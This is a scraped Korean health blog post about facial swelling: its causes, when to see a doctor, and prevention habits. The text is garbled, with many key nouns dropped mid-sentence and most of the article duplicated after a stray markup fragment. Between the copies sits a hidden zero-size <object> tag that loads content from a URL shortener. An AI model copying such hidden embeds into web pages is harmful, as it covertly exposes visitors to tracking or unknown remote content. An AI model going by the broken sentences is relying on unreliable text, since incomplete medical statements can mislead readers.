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<div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:38">얼굴 부종, 자주 붓는다면 위험 신호일까? 얼굴 붓는 이유 정리</h2><p data-sourcepos="3:1-3:132"><strong>얼굴이 자주 붓는 경험, 누구나 한 번쯤 해봤을 겁니다.</strong> 잠을 충분히 못 잤거나 짠 음식을 많이 먹었을 때처럼 일시적인 경우도 있지만, <strong>만약 얼굴 부종이 자주 반복된다면 건강에 이상이 있는 것은 아닌지 의심해 봐야 합니다.</strong></p><h3 data-sourcepos="5:1-5:21">얼굴이 붓는 이유는 다양합니다.</h3><ul data-sourcepos="7:1-15:0">
<li data-sourcepos="7:1-7:55"><strong>생리 전 증후군:</strong> 여성의 경우 생리 전 호르몬 변화로 인해 얼굴이 붓는 경우가 많습니다.</li>
<li data-sourcepos="8:1-8:63"><strong>염분 섭취 과다:</strong> 짠 음식을 많이 먹으면 체내에 나트륨이 과다하게 축적되어 부종이 발생할 수 있습니다.</li>
<li data-sourcepos="9:1-9:56"><strong>수분 섭취 부족:</strong> 의외로 수분이 부족해도 체내 균형이 깨지면서 부종이 나타날 수 있습니다.</li>
<li data-sourcepos="10:1-10:66"><strong>알레르기 반응:</strong> 특정 음식이나 환경에 알레르기가 있을 경우 얼굴이 붓는 알레르기 반응이 나타날 수 있습니다.</li>
<li data-sourcepos="11:1-11:70"><strong>신장 :</strong> 신장 기능이 저하되면 체내 노폐물과 수분 배출이 원활하지 않아 얼굴이 붓는 이 나타날 수 있습니다.</li>
<li data-sourcepos="12:1-12:62"><strong>심장 :</strong> 심장 기능이 약해지면 혈액 순환이 원활하지 않아 얼굴이 붓는 이 나타날 수 있습니다.</li>
<li data-sourcepos="13:1-13:80"><strong>간 :</strong> 간 기능이 저하되면 단백질 합성이 감소하여 혈액 내 삼투압이 낮아지고, 이로 인해 얼굴이 붓는 이 나타날 수 있습니다.</li>
<li data-sourcepos="14:1-15:0"><strong>갑상선 기능 저하증:</strong> 갑상선 호르몬이 부족하면 신체 대사율이 떨어지고 수분 저류가 발생하여 얼굴이 붓는 이 나타날 수 있습니다.</li>
</ul><h3 data-sourcepos="16:1-16:25">얼굴 부종, 언제 병원을 가야 할까요?</h3><ul data-sourcepos="18:1-21:0">
<li data-sourcepos="18:1-18:96"><strong>다른 과 함께 나타날 때:</strong> 얼굴 부종과 함께 체중 증가, 호흡 곤란, 소변량 감소 등의 이 나타난다면 반드시 병원을 방문하여 한 진단을 받아야 합니다.</li>
<li data-sourcepos="19:1-19:74"><strong>반복적으로 나타날 때:</strong> 일시적인 부종이 아니라 자주 반복되거나 심해진다면 병원을 방문하여 원인을 파악하고 해야 합니다.</li>
<li data-sourcepos="20:1-21:0"><strong>얼굴 외 다른 부위도 함께 부을 때:</strong> 얼굴뿐만 아니라 다리, 발 등 다른 부위도 함께 부을 때는 심각한 의 신호일 수 있으므로 병원을 방문해야 합니다.</li>
</ul><h3 data-sourcepos="22:1-22:21">얼굴 부종 예방을 위한 생활습관</h3><ul data-sourcepos="24:1-28:0">
<li data-sourcepos="24:1-24:49"><strong>균형 잡힌 식단:</strong> 염분 섭취를 줄이고 신선한 채소와 과일을 충분히 섭취합니다.</li>
<li data-sourcepos="25:1-25:49"><strong>충분한 수분 섭취:</strong> 하루 8잔 이상의 물을 마셔 체내 수분 균형을 유지합니다.</li>
<li data-sourcepos="26:1-26:49"><strong>규칙적인 운동:</strong> 꾸준한 운동은 혈액순환을 개선하고 부종 예방에 도움이 됩니다.</li>
<li data-sourcepos="27:1-28:0"><strong>충분한 휴식:</strong> 숙면을 취하고 스트레스를 관리합니다.</li>
</ul><p data-sourcepos="29:1-29:106"><strong>얼굴 부종은 단순한 불편함을 넘어 심각한 의 신호일 수 있습니다.</strong> 만약 얼굴이 자주 붓는다면 방치하지 말고 병원을 방문하여 한 진단을 받고 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="31:1-31:74"><strong>주의:</strong> 본 내용은 일반적인 정보 제공을 목적으로 하며, 개인의 건강 상태에 대한 전문적인 의학적 조언을 대체할 수 없습니다.</p><p data-sourcepos="33:1-33:40"><strong>궁금한 점이 있다면 언제든지 의료 전문가에게 문의하시기 바랍니다.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:55"><strong>생리 전 증후군:</strong> 여성의 경우 생리 전 호르몬 변화로 인해 얼굴이 붓는 경우가 많습니다.</li>
<li data-sourcepos="8:1-8:63"><strong>염분 섭취 과다:</strong> 짠 음식을 많이 먹으면 체내에 나트륨이 과다하게 축적되어 부종이 발생할 수 있습니다.</li>
<li data-sourcepos="9:1-9:56"><strong>수분 섭취 부족:</strong> 의외로 수분이 부족해도 체내 균형이 깨지면서 부종이 나타날 수 있습니다.</li>
<li data-sourcepos="10:1-10:66"><strong>알레르기 반응:</strong> 특정 음식이나 환경에 알레르기가 있을 경우 얼굴이 붓는 알레르기 반응이 나타날 수 있습니다.</li>
<li data-sourcepos="11:1-11:70"><strong>신장 :</strong> 신장 기능이 저하되면 체내 노폐물과 수분 배출이 원활하지 않아 얼굴이 붓는 이 나타날 수 있습니다.</li>
<li data-sourcepos="12:1-12:62"><strong>심장 :</strong> 심장 기능이 약해지면 혈액 순환이 원활하지 않아 얼굴이 붓는 이 나타날 수 있습니다.</li>
<li data-sourcepos="13:1-13:80"><strong>간 :</strong> 간 기능이 저하되면 단백질 합성이 감소하여 혈액 내 삼투압이 낮아지고, 이로 인해 얼굴이 붓는 이 나타날 수 있습니다.</li>
<li data-sourcepos="14:1-15:0"><strong>갑상선 기능 저하증:</strong> 갑상선 호르몬이 부족하면 신체 대사율이 떨어지고 수분 저류가 발생하여 얼굴이 붓는 이 나타날 수 있습니다.</li>
</ul><h3 data-sourcepos="16:1-16:25">얼굴 부종, 언제 병원을 가야 할까요?</h3><ul data-sourcepos="18:1-21:0">
<li data-sourcepos="18:1-18:96"><strong>다른 과 함께 나타날 때:</strong> 얼굴 부종과 함께 체중 증가, 호흡 곤란, 소변량 감소 등의 이 나타난다면 반드시 병원을 방문하여 한 진단을 받아야 합니다.</li>
<li data-sourcepos="19:1-19:74"><strong>반복적으로 나타날 때:</strong> 일시적인 부종이 아니라 자주 반복되거나 심해진다면 병원을 방문하여 원인을 파악하고 해야 합니다.</li>
<li data-sourcepos="20:1-21:0"><strong>얼굴 외 다른 부위도 함께 부을 때:</strong> 얼굴뿐만 아니라 다리, 발 등 다른 부위도 함께 부을 때는 심각한 의 신호일 수 있으므로 병원을 방문해야 합니다.</li>
</ul><h3 data-sourcepos="22:1-22:21">얼굴 부종 예방을 위한 생활습관</h3><ul data-sourcepos="24:1-28:0">
<li data-sourcepos="24:1-24:49"><strong>균형 잡힌 식단:</strong> 염분 섭취를 줄이고 신선한 채소와 과일을 충분히 섭취합니다.</li>
<li data-sourcepos="25:1-25:49"><strong>충분한 수분 섭취:</strong> 하루 8잔 이상의 물을 마셔 체내 수분 균형을 유지합니다.</li>
<li data-sourcepos="26:1-26:49"><strong>규칙적인 운동:</strong> 꾸준한 운동은 혈액순환을 개선하고 부종 예방에 도움이 됩니다.</li>
<li data-sourcepos="27:1-28:0"><strong>충분한 휴식:</strong> 숙면을 취하고 스트레스를 관리합니다.</li>
</ul><p data-sourcepos="29:1-29:106"><strong>얼굴 부종은 단순한 불편함을 넘어 심각한 의 신호일 수 있습니다.</strong> 만약 얼굴이 자주 붓는다면 방치하지 말고 병원을 방문하여 한 진단을 받고 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="31:1-31:74"><strong>주의:</strong> 본 내용은 일반적인 정보 제공을 목적으로 하며, 개인의 건강 상태에 대한 전문적인 의학적 조언을 대체할 수 없습니다.</p><p data-sourcepos="33:1-33:40"><strong>궁금한 점이 있다면 언제든지 의료 전문가에게 문의하시기 바랍니다.</strong></p></div>
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